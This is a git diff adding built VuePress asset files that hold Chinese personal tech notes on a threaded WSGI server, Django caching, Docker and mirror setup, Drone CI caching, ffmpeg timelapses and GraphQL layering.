import time +import SocketServer +import socket +from SimpleHTTPServer import SimpleHTTPRequestHandler +from SocketServer import ThreadingMixIn + + +class HTTPServer(SocketServer.TCPServer): + + allow_reuse_address = 1 # Seems to make sense in testing environment + + def server_bind(self): + """Override server_bind to store the server name.""" + SocketServer.TCPServer.server_bind(self) + host, port = self.socket.getsockname()[:2] + self.server_name = socket.getfqdn(host) + self.server_port = port + + +class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): + pass + + +class ThreadWSGIServer(ThreadedHTTPServer): + + """BaseHTTPServer that implements the Python WSGI protocol""" + + application = None + + def server_bind(self): + """Override server_bind to store the server name.""" + HTTPServer.server_bind(self) + self.setup_environ() + + def setup_environ(self): + # Set up base environment + env = self.base_environ = {} + env['SERVER_NAME'] = self.server_name + env['GATEWAY_INTERFACE'] = 'CGI/1.1' + env['SERVER_PORT'] = str(self.server_port) + env['REMOTE_HOST'] = '' + env['CONTENT_LENGTH'] = '' + env['SCRIPT_NAME'] = '' + + def get_app(self): + return self.application + + def set_app(self, application): + self.application = application + + +def application(environ, start_response): + time.sleep(10) # 注意这里的 sleep + status = '200 OK' + headers = [('Content-Type', 'text/html; charset=utf8')] + + start_response(status, headers) + return [b"<h1>Hello</h1>"] + + +if __name__ == '__main__': + from wsgiref.simple_server import make_server + httpd = make_server('127.0.0.1', 8000, application, server_class=ThreadWSGIServer) + httpd.serve_forever() + +
对了,我们怎么证明这个真是多线程的 wsgi server 了呢,很简单。你看我加了个 sleep(10)。 如果你在之前的单线程 wsgi server 跑,你可以开俩个终端去 curl,curl 完一个赶紧切到另一个 curl 。 单线程你会发现几乎是 10 + 10 秒,但是下边这个多线程 wsgi server 你会发现大概只用10秒,两个请求是并发的(当然我这种测试很 low,你可以随便用一个网络测试工具)。虽然我没看过 django wsgi server 的实现,但是它自己实现的开发服务器原理应该是类似的。如果你能坚持看到这里,是更明白了呢还是更懵了呢?你可以看下PegasusWang/notebooks 这个是手撸 web 框架的教程,看完你就对 wsgi,如何自己写 框架以及 gunicorn 部署有点概念了。最近在学习异步框架的工作原理,感兴趣可以看看,之后还会出个协程版本的。
`,28),o=[p];function c(i,l){return s(),a("div",null,o)}const r=n(t,[["render",c],["__file","django.html.vue"]]);export{r as default}; diff --git "a/assets/django\347\274\223\345\255\230.html-NX5g_H28.js" "b/assets/django\347\274\223\345\255\230.html-NX5g_H28.js" new file mode 100644 index 0000000..bc879fb --- /dev/null +++ "b/assets/django\347\274\223\345\255\230.html-NX5g_H28.js" @@ -0,0 +1 @@ +import{_ as s,o as t,c as a,b as e,d as o}from"./app-x8p6wK6B.js";const n="/assets/20210818031909887_21744-zbqdqOVa.png",c={},_=e("h1",{id:"django缓存",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#django缓存","aria-hidden":"true"},"#"),o(" django缓存")],-1),d=e("p",null,"接口: 自动补全接口 程序中有预定义的词,但是需要进行去重和按拼音排序, 每次占用大量时间",-1),r=e("p",null,"优化: 使用django 缓存 https://docs.djangoproject.com/zh-hans/3.2/topics/cache/",-1),h=e("p",null,[o("由于该缓存是线程安全的, 每个线程独立拥有一个缓存,可以看到重启后前几次访问需要时间约1250ms, 之后收敛到250ms,提升400%的速度 "),e("img",{src:n,alt:""})],-1),i=[_,d,r,h];function l(p,m){return t(),a("div",null,i)}const u=s(c,[["render",l],["__file","django缓存.html.vue"]]);export{u as default}; diff --git "a/assets/django\347\274\223\345\255\230.html-THwhYwkg.js" "b/assets/django\347\274\223\345\255\230.html-THwhYwkg.js" new file mode 100644 index 0000000..3435618 --- /dev/null +++ "b/assets/django\347\274\223\345\255\230.html-THwhYwkg.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-4ac7a662","path":"/notebook/django%E7%BC%93%E5%AD%98.html","title":"django缓存","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/django缓存.md"}');export{t as data}; diff --git a/assets/docker.html-4FlAdIF3.js b/assets/docker.html-4FlAdIF3.js new file mode 100644 index 0000000..600aa1e --- /dev/null +++ b/assets/docker.html-4FlAdIF3.js @@ -0,0 +1,27 @@ +import{_ as e,o as i,c as n,a as r}from"./app-x8p6wK6B.js";const a={},s=r(`https://zhuanlan.zhihu.com/p/42044997
# 2020/5/9 docKer 时区设置
echo "Asia/Shanghai" > /etc/timezone +dpkg-reconfigure -f noninteractive tzdata +
如果没有tzdata,需要手动安装
apt-get install -y tzdata
# docker
给容器换一个名字, 比如说 docker run -it --name=mycentos2 centos:7 /bin/bash, 可以解决问题. 将原来的容器删除
查询当前容器: docker container ls -all
删除当前容器: docker container rm mycentos(提示: 这一步要确定删除容器没问题的情况下, 才可以做)
# Ubuntu 16.04 阿里源
+deb-src http://archive.ubuntu.com/ubuntu xenial main restricted #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial universe +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe +deb http://mirrors.aliyun.com/ubuntu/ xenial multiverse +deb http://mirrors.aliyun.com/ubuntu/ xenial-updates multiverse +deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse #Added by software-properties +deb http://archive.canonical.com/ubuntu xenial partner +deb-src http://archive.canonical.com/ubuntu xenial partner +deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted +deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted multiverse universe #Added by software-properties +deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe +deb http://mirrors.aliyun.com/ubuntu/ xenial-security multiverse + +
# pip 国内源
pip3 install django==2.1 -i https://pypi.tuna.tsinghua.edu.cn/simple
cd ; mkdir .config ; cd .config ; mkdir pip ; cd pip ; vim pip.conf
`,13),t=[s];function d(u,c){return i(),n("div",null,t)}const o=e(a,[["render",d],["__file","docker.html.vue"]]);export{o as default}; diff --git a/assets/docker.html-oMuRRHsC.js b/assets/docker.html-oMuRRHsC.js new file mode 100644 index 0000000..5be92d0 --- /dev/null +++ b/assets/docker.html-oMuRRHsC.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-72251e04","path":"/notebook/docker.html","title":"2020/5/9 docKer 时区设置","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"Ubuntu 16.04 阿里源","slug":"ubuntu-16-04-阿里源","link":"#ubuntu-16-04-阿里源","children":[]},{"level":2,"title":"pip 国内源","slug":"pip-国内源","link":"#pip-国内源","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/docker.md"}');export{e as data}; diff --git a/assets/drone.html-9R06-RAX.js b/assets/drone.html-9R06-RAX.js new file mode 100644 index 0000000..a75ba65 --- /dev/null +++ b/assets/drone.html-9R06-RAX.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-33996b77","path":"/ops/drone.html","title":"drone","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"docker缓存(优先使用)","slug":"docker缓存-优先使用","link":"#docker缓存-优先使用","children":[]},{"level":2,"title":"本地缓存","slug":"本地缓存","link":"#本地缓存","children":[{"level":3,"title":"npm cache","slug":"npm-cache","link":"#npm-cache","children":[]},{"level":3,"title":"yarn cache","slug":"yarn-cache","link":"#yarn-cache","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/drone.md"}');export{e as data}; diff --git a/assets/drone.html-zUPidYWq.js b/assets/drone.html-zUPidYWq.js new file mode 100644 index 0000000..329231d --- /dev/null +++ b/assets/drone.html-zUPidYWq.js @@ -0,0 +1,119 @@ +import{_ as e,o as n,c as i,a as d}from"./app-x8p6wK6B.js";const s={},a=d(`[global] +timeout = 6000 +index-url = http://mirrors.aliyun.com/pypi/simple/ +trusted-host = mirrors.aliyun.com + +
# drone
下面的例子中,项目名假定为citest
缓存类型 优点 缺点 docker缓存 "1. 可以缓存全过程,2. 不限于某个runner节点" 需要构建并推送额外的docker镜像 本地缓存 简单 "1. 无法缓存构建过程(如yarn build)2. 只生效在单一runner节点" # docker缓存(优先使用)
不限制构建的类型,原理是基于docker cache加速执行过的构建。下面的例子中,会将所有的依赖文件打包成一个docker镜像进行加速: .drone.yml
kind: pipeline +type: ssh +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +server: + host: + from_secret: be_runner + user: + from_secret: runner_user + ssh_key: + from_secret: runner_key +steps: + - name: build + commands: + - echo $DOCKER_PASSWORD | docker login dcr.xxx.com -u $DOCKER_USERNAME --password-stdin + - IMAGE_TAG=\${DRONE_TAG##*/} make docker-build + environment: + DOCKER_USERNAME: + from_secret: docker_username + DOCKER_PASSWORD: + from_secret: docker_password +
先构建依赖库的镜像,再构建最终使用的镜像 Makefile
REGISTRY ?= dcr.xxx.com +IMAGE_NAME ?= xxx/citest +IMAGE_TAG ?= latest + +docker-build: + DOCKER_BUILDKIT=1 docker build . \\ + --file Dockerfile.base \\ + --tag \${REGISTRY}/\${IMAGE_NAME}:deps \\ + --cache-from \${REGISTRY}/\${IMAGE_NAME}:deps \\ + --build-arg BUILDKIT_INLINE_CACHE=1 + + DOCKER_BUILDKIT=1 docker build . \\ + --file Dockerfile \\ + --tag \${REGISTRY}/\${IMAGE_NAME}:\${IMAGE_TAG} \\ + --cache-from \${REGISTRY}/\${IMAGE_NAME}:deps \\ + --build-arg BUILDKIT_INLINE_CACHE=1 +
依赖库镜像的Dockerfile Dockerfile.base
FROM node:lts-bullseye as build +WORKDIR /app +COPY ./package.json ./yarn.lock /app/ +COPY ./src /app/src +COPY ./public /app/public +RUN yarn --registry=https://registry.npm.taobao.org +RUN yarn build +
最终业务用镜像的Dockerfile Dockerfile
FROM node:lts-bullseye as build +WORKDIR /app +COPY ./package.json ./yarn.lock /app/ +COPY ./src /app/src +COPY ./public /app/public +RUN yarn --registry=https://registry.npm.taobao.org +RUN yarn build + +FROM nginx:stable-alpine-slim +COPY --from=build /app/dist/ /usr/share/nginx/html/ +EXPOSE 80 +
# 本地缓存
可以用于缓存npm/yarn的依赖库文件,原理是将每次构建时使用的依赖库文件同步到主机的指定目录,然后下一次构建时先同步回来。该方案只能加速下载依赖文件的流程,每次都要重新build,因此如果build时间太久,建议尝试使用上面docker缓存的方案。
# npm cache
.drone.yml
kind: pipeline +type: exec +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +steps: + - name: restore-cache + commands: + # npm cache,一般缓存到drone的工作目录下 + - mkdir -p /data/cache/citest/node_modules + - rsync -a /data/cache/citest/node_modules . + + - name: build + commands: + - export YARN_CACHE_FOLDER="~/.yarn/cache" + - npm install --registry=https://registry.npm.taobao.org + - npm build + + - name: rebuild-cache + commands: + # npm cache + - rsync -a ./node_modules /data/cache/cicdtest/ + +
# yarn cache
.drone.yml
`,20),l=[a];function r(c,v){return n(),i("div",null,l)}const m=e(s,[["render",r],["__file","drone.html.vue"]]);export{m as default}; diff --git a/assets/ffmpeg.html--o2PJUEg.js b/assets/ffmpeg.html--o2PJUEg.js new file mode 100644 index 0000000..99a7101 --- /dev/null +++ b/assets/ffmpeg.html--o2PJUEg.js @@ -0,0 +1,23 @@ +import{_ as e,o as i,c as t,a as s}from"./app-x8p6wK6B.js";const n={},a=s(`kind: pipeline +type: exec +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +steps: +- name: prepare + commands: + - | + cat <<EOF >> .yarnrc.yml + # 启用全局cache + enableGlobalCache: true + EOF + + - name: restore-cache + commands: + # yarn cache,这里不区分项目,共同使用一个缓存目录 + - mkdir -p /data/cache/.yarn + - rsync -a /data/cache/.yarn ~/ + + - name: build + commands: + - export YARN_CACHE_FOLDER="~/.yarn/cache" + - yarn --registry=https://registry.npmmirror.com/ + - yarn build + + - name: rebuild-cache + commands: + # yarn cache + - rsync -a ~/.yarn /data/cache/ +
# ffmpeg
接入监控系统后, 就需要对这些视频做一定的处理,水星安防app提供的云服务有事件录像、人形识别等功能,大概一年90元, 我们肯定是不会掏这个钱的,所以就需要自己处理
# 第一个应用 制作延时摄像
- 从每日的太阳升起到日落,将越12小时的视频,快进到10分钟左右
ffmpeg -hwaccel auto -i /Users/teletraan/Downloads/2023-10-10T11-15-01.mp4 -c:v libx265 -vf "setpts=0.02*PTS,scale=640:-1,fps=15" -b:v 500K -an -ss 00:00:00 -t 00:01:00 output.mp4 +
由于我们录像机设置的最大是15分钟,所以还需要拼接一下
15分钟要102秒,那么12小时就是4×102s×12 =
优化,直接用copy,就不用重新编码了
ffmpeg -hwaccel auto -i /Users/teletraan/Downloads/2023-10-10T11-15-01.mp4 -c:v copy -vf "setpts=0.02*PTS,scale=640:-1,fps=15" -b:v 500K -an -ss 00:00:00 -t 00:01:00 output.mp4 +
错误的,改了码率,不能这么搞
windows 将一个目录下的所有图片剪辑为视频
`,11),l=[a];function d(u,o){return i(),t("div",null,l)}const r=e(n,[["render",d],["__file","ffmpeg.html.vue"]]);export{r as default}; diff --git a/assets/ffmpeg.html-8fiVg3eC.js b/assets/ffmpeg.html-8fiVg3eC.js new file mode 100644 index 0000000..f5c1522 --- /dev/null +++ b/assets/ffmpeg.html-8fiVg3eC.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-24dac847","path":"/video/ffmpeg.html","title":"ffmpeg","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"第一个应用 制作延时摄像","slug":"第一个应用-制作延时摄像","link":"#第一个应用-制作延时摄像","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"video/ffmpeg.md"}');export{e as data}; diff --git "a/assets/graphql\345\222\214python.html-LZqXIs1X.js" "b/assets/graphql\345\222\214python.html-LZqXIs1X.js" new file mode 100644 index 0000000..cdf9ef7 --- /dev/null +++ "b/assets/graphql\345\222\214python.html-LZqXIs1X.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-b1bba884","path":"/notebook/graphql/graphql%E5%92%8Cpython.html","title":"graphql和python","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/graphql/graphql和python.md"}');export{t as data}; diff --git "a/assets/graphql\345\222\214python.html-k8cAeIZm.js" "b/assets/graphql\345\222\214python.html-k8cAeIZm.js" new file mode 100644 index 0000000..da36419 --- /dev/null +++ "b/assets/graphql\345\222\214python.html-k8cAeIZm.js" @@ -0,0 +1,25 @@ +import{_ as e,o as r,c as t,a as o}from"./app-x8p6wK6B.js";const n={},p=o(`@echo off +setlocal enabledelayedexpansion + +set "input_folder=%~dp0" +set "output_file=output.mp4" +set "framerate=30" +set "codec=hevc_qsv" +set "pix_fmt=yuv420p" +set "filelist=filelist.txt" +set "input_files=" +(for %%i in ("*.jpg") do ( + echo file '%%i' +)) > "%filelist%" + + + +e:/ffmpeg-master-latest-win64-gpl/bin/ffmpeg.exe -f concat -safe 0 -i "%filelist%" -framerate %framerate% -c:v %codec% -pix_fmt %pix_fmt% "%output_file%" + +pause + +
# graphql和python
- graphql 定义 这里没有id这个东西, type ProductionGroup{ "班组ID" id: String! "班组名称" name: String! "班组长" groupLeader: Staff! "班组成员" groupMembers: [Staff!]! "备注" remark: String }
input CreateProductionGroupInput { name: String! groupLeader: StringIDInput! groupMembers: [StringIDInput!]! remark: String }
- 创建的流程
2.1 前端传递 group_leader: {id:"p1"}
然后types中收到这个input, 内容和gql中定义的一样
process: {"id":"p1"}
2.2 这时,解析给app层mutation.py中定义的command
class CreateGroupCommand(Command): tenant_id: str name: str group_leader: StringIDInput group_members: list[StringIDInput] remark: str | None
这里是command和graphql定义一样,还有一种是内部全部使用id,那么在这里就需要进行一些别名,包括内部的所有(聚合根,实体,orm,Representation)都带上id group_id: StringIDInput | None = Field(alias='group')
2.3 app层拿到command, 解析,并处理,构建Group对象
class Group(AggregateRoot): id: GroupId name: str tenant_id: TenantId group_leader: StaffId group_members: list[StaffId] remark: str | None
2.4 然后通过repo,将对象转换为orm对象,并保存到db
class GroupOrm(Base, TenantMixin, SoftDeleteMixin, TimeMixin): tablename = "group" entity = Group
id = sa.Column(sa.String, primary_key=True) +name = sa.Column(sa.String) +group_leader = sa.Column(sa.String) +# 班组成员,不包含班组长 +group_members = sa.Column(ARRAY(sa.String), server_default="{}") +# 班组人员字段,班组人员 包含班组长以及班组成员 +group_staffs = sa.Column(ARRAY(sa.String), server_default="{}") +remark = sa.Column(sa.String) + +@classmethod +def from_entity(cls, entity: Group): + orm_instance = entity.orm_instance() or cls() # type: ignore + orm_instance.copy_from_entity(entity) + orm_instance.group_staffs = entity.group_members + [entity.group_leader] + return orm_instance +
就此,创建流程结束
3 查询 3.1前端构建查询input,发送到types,转发给app层的queryService,得到filter字典、offset、limit、order_by """ 问题,这里filter的graphql定义也是不带id的,所以前端传过来StringIdInput,我们的filter类中,应当这样编写 """ class SectionFilter(FilterBase): search: str = FilterField(expression=lambda v: SectionOrm.name.like(f"%{v}%")) name: str = FilterField(column=SectionOrm.name) tenant_id: str = FilterField(column=SectionOrm.tenant_id) process: StringIDInput = FilterField(expression=lambda v: SectionOrm.process_ids.contains([v])) is_deleted: bool = FilterField(False, expression=lambda v: SectionOrm.is_deleted.is_(v))
3.2queryService 直接查询orm,并使用Representation返回给前端
class GroupRepresentation(Representation): id: str name: str group_leader: str group_members: list[str] remark: str | None
3.3 到达graphql层,controller根据types里的resolve,将对象进行解析,处理后返回给客户端
@managed() @dataclass class GroupType(ObjectType): name = "ProductionGroup"
`,22),a=[p];function i(s,u){return r(),t("div",null,a)}const m=e(n,[["render",i],["__file","graphql和python.html.vue"]]);export{m as default}; diff --git "a/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-HT1ruz5l.js" "b/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-HT1ruz5l.js" new file mode 100644 index 0000000..2ce09e9 --- /dev/null +++ "b/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-HT1ruz5l.js" @@ -0,0 +1 @@ +const a=JSON.parse('{"key":"v-67e92c6d","path":"/notebook/graphql/graphql%E9%81%87%E5%88%B0%E8%BF%87%E7%9A%84%E9%97%AE%E9%A2%98.html","title":"graphql遇到过的问题","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"1.schema编写问题","slug":"_1-schema编写问题","link":"#_1-schema编写问题","children":[]},{"level":2,"title":"2.dataload 问题","slug":"_2-dataload-问题","link":"#_2-dataload-问题","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/graphql/graphql遇到过的问题.md"}');export{a as data}; diff --git "a/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-jjLgDvV-.js" "b/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-jjLgDvV-.js" new file mode 100644 index 0000000..cb8130c --- /dev/null +++ "b/assets/graphql\351\201\207\345\210\260\350\277\207\347\232\204\351\227\256\351\242\230.html-jjLgDvV-.js" @@ -0,0 +1,18 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const p="/assets/514935909278883-YU9p5snK.png",e="/assets/27510892836406-L9knP75y.png",o={},c=t(`@field_resolver("groupLeader") +async def resolve_group_leader(self, parent: GroupRepresentation, info: GraphQLResolveInfo): + group_leader_id = get_attr(parent, "group_leader") + return {"id": group_leader_id} + +@field_resolver("groupMembers") +async def resolve_group_members(self, parent: GroupRepresentation, info: GraphQLResolveInfo): + group_members = get_attr(parent, "group_members") + return [{"id": member_id} for member_id in group_members] +
# graphql遇到过的问题
# 1.schema编写问题
正常情况下,需要在冒号右边加一个空格
type XXX{ + + required: Boolean +} + +
如果你不加的话,则会识别不到
http://spec.graphql.org/October2021/#sec-Language
# 2.dataload 问题
当有一个数据的resolve字段没查到,则所有的数据都不会返回
async def scheme_by_scheme_ids(self, scheme_ids: list[str]): + async with self.repo.new_session(expire_on_commit=False): + stmt = self.repo.select(MESSchemeOrm).filter(MESSchemeOrm.scheme_id.in_(scheme_ids)) + result = await self.repo.all(stmt) + data = result.scalars().all() + return sort(scheme_ids, data, key_fn=attrgetter("scheme_id")) +
`,11),l=[c];function i(u,r){return s(),a("div",null,l)}const k=n(o,[["render",i],["__file","graphql遇到过的问题.html.vue"]]);export{k as default}; diff --git a/assets/index.html-1OhrB_6n.js b/assets/index.html-1OhrB_6n.js new file mode 100644 index 0000000..815960b --- /dev/null +++ b/assets/index.html-1OhrB_6n.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-ce20e166","path":"/video/","title":"这里是video","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"video/README.md"}');export{e as data}; diff --git a/assets/index.html-AndxTJYq.js b/assets/index.html-AndxTJYq.js new file mode 100644 index 0000000..9665092 --- /dev/null +++ b/assets/index.html-AndxTJYq.js @@ -0,0 +1 @@ +import{_ as t,o,c as s,b as e,d as a}from"./app-x8p6wK6B.js";const c={},n=e("h1",{id:"这里是ops",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是ops","aria-hidden":"true"},"#"),a(" 这里是ops")],-1),r=[n];function d(_,i){return o(),s("div",null,r)}const l=t(c,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-BjbYssGN.js b/assets/index.html-BjbYssGN.js new file mode 100644 index 0000000..25de16f --- /dev/null +++ b/assets/index.html-BjbYssGN.js @@ -0,0 +1 @@ +import{_ as t,o as c,c as n,b as e,d as o}from"./app-x8p6wK6B.js";const a={},r=e("h1",{id:"这里是python-cv",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是python-cv","aria-hidden":"true"},"#"),o(" 这里是python/cv")],-1),s=[r];function d(_,h){return c(),n("div",null,s)}const l=t(a,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-D-QLn7gm.js b/assets/index.html-D-QLn7gm.js new file mode 100644 index 0000000..9efaf89 --- /dev/null +++ b/assets/index.html-D-QLn7gm.js @@ -0,0 +1 @@ +import{_ as o,o as t,c as n,b as e,d as a}from"./app-x8p6wK6B.js";const c={},r=e("h1",{id:"这里是notebook",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是notebook","aria-hidden":"true"},"#"),a(" 这里是notebook")],-1),s=[r];function d(_,i){return t(),n("div",null,s)}const l=o(c,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-GZKm3Qsm.js b/assets/index.html-GZKm3Qsm.js new file mode 100644 index 0000000..d8af3eb --- /dev/null +++ b/assets/index.html-GZKm3Qsm.js @@ -0,0 +1 @@ +import{_ as t,o as a,c,b as e,d as n}from"./app-x8p6wK6B.js";const o={},r=e("h1",{id:"这里是web",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是web","aria-hidden":"true"},"#"),n(" 这里是web")],-1),s=[r];function d(_,i){return a(),c("div",null,s)}const l=t(o,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-JFy8A48P.js b/assets/index.html-JFy8A48P.js new file mode 100644 index 0000000..4500ca2 --- /dev/null +++ b/assets/index.html-JFy8A48P.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-17af9222","path":"/python/cv/","title":"这里是python/cv","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/README.md"}');export{t as data}; diff --git a/assets/index.html-TThl94CJ.js b/assets/index.html-TThl94CJ.js new file mode 100644 index 0000000..ddade72 --- /dev/null +++ b/assets/index.html-TThl94CJ.js @@ -0,0 +1 @@ +import{_ as o,o as t,c as a,b as e,d as n}from"./app-x8p6wK6B.js";const r={},c=e("h1",{id:"这里是notebook-graphql",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是notebook-graphql","aria-hidden":"true"},"#"),n(" 这里是notebook/graphql")],-1),s=[c];function d(_,h){return t(),a("div",null,s)}const l=o(r,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-TX7mQu1p.js b/assets/index.html-TX7mQu1p.js new file mode 100644 index 0000000..36a190f --- /dev/null +++ b/assets/index.html-TX7mQu1p.js @@ -0,0 +1 @@ +import{_ as t,o as r,c as o,b as e,d as a}from"./app-x8p6wK6B.js";const c={},n=e("h1",{id:"这里是router",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是router","aria-hidden":"true"},"#"),a(" 这里是router")],-1),s=[n];function d(_,i){return r(),o("div",null,s)}const l=t(c,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-WtnzvEI5.js b/assets/index.html-WtnzvEI5.js new file mode 100644 index 0000000..5377261 --- /dev/null +++ b/assets/index.html-WtnzvEI5.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-68c3eedb","path":"/notebook/","title":"这里是notebook","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/README.md"}');export{e as data}; diff --git a/assets/index.html-biE9myrq.js b/assets/index.html-biE9myrq.js new file mode 100644 index 0000000..a21502c --- /dev/null +++ b/assets/index.html-biE9myrq.js @@ -0,0 +1 @@ +import{_ as t,o as n,c as o,b as e,d as a}from"./app-x8p6wK6B.js";const c={},r=e("h1",{id:"这里是python",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是python","aria-hidden":"true"},"#"),a(" 这里是python")],-1),s=[r];function d(_,h){return n(),o("div",null,s)}const l=t(c,[["render",d],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-j6pj97yD.js b/assets/index.html-j6pj97yD.js new file mode 100644 index 0000000..544cb9a --- /dev/null +++ b/assets/index.html-j6pj97yD.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-744e6dd4","path":"/web/","title":"这里是web","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/README.md"}');export{e as data}; diff --git a/assets/index.html-oabfFboZ.js b/assets/index.html-oabfFboZ.js new file mode 100644 index 0000000..41e9514 --- /dev/null +++ b/assets/index.html-oabfFboZ.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-744af636","path":"/ops/","title":"这里是ops","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/README.md"}');export{t as data}; diff --git a/assets/index.html-okFbtMfA.js b/assets/index.html-okFbtMfA.js new file mode 100644 index 0000000..dc1785d --- /dev/null +++ b/assets/index.html-okFbtMfA.js @@ -0,0 +1 @@ +import{_ as t,o,c as a,b as e,d as c}from"./app-x8p6wK6B.js";const d={},n=e("h1",{id:"这里是video",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是video","aria-hidden":"true"},"#"),c(" 这里是video")],-1),r=[n];function s(i,_){return o(),a("div",null,r)}const l=t(d,[["render",s],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-qTwyPiP-.js b/assets/index.html-qTwyPiP-.js new file mode 100644 index 0000000..7e33379 --- /dev/null +++ b/assets/index.html-qTwyPiP-.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-86c67626","path":"/router/","title":"这里是router","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/README.md"}');export{t as data}; diff --git a/assets/index.html-rVR--s9I.js b/assets/index.html-rVR--s9I.js new file mode 100644 index 0000000..7df2083 --- /dev/null +++ b/assets/index.html-rVR--s9I.js @@ -0,0 +1 @@ +import{_ as o,o as t,c as n,b as e,d as a}from"./app-x8p6wK6B.js";const c={},d=e("h1",{id:"这里是notebook-3d建模",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#这里是notebook-3d建模","aria-hidden":"true"},"#"),a(" 这里是notebook/3D建模")],-1),r=[d];function s(_,i){return t(),n("div",null,r)}const l=o(c,[["render",s],["__file","index.html.vue"]]);export{l as default}; diff --git a/assets/index.html-vBYbJktd.js b/assets/index.html-vBYbJktd.js new file mode 100644 index 0000000..ad79bf2 --- /dev/null +++ b/assets/index.html-vBYbJktd.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-7181ad41","path":"/notebook/graphql/","title":"这里是notebook/graphql","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/graphql/README.md"}');export{t as data}; diff --git a/assets/index.html-wkt_QydO.js b/assets/index.html-wkt_QydO.js new file mode 100644 index 0000000..98369ac --- /dev/null +++ b/assets/index.html-wkt_QydO.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-211fff28","path":"/notebook/3D%E5%BB%BA%E6%A8%A1/","title":"这里是notebook/3D建模","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/3D建模/README.md"}');export{t as data}; diff --git a/assets/index.html-yNSHZEOF.js b/assets/index.html-yNSHZEOF.js new file mode 100644 index 0000000..910a981 --- /dev/null +++ b/assets/index.html-yNSHZEOF.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-63cd5dba","path":"/python/","title":"这里是python","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/README.md"}');export{t as data}; diff --git 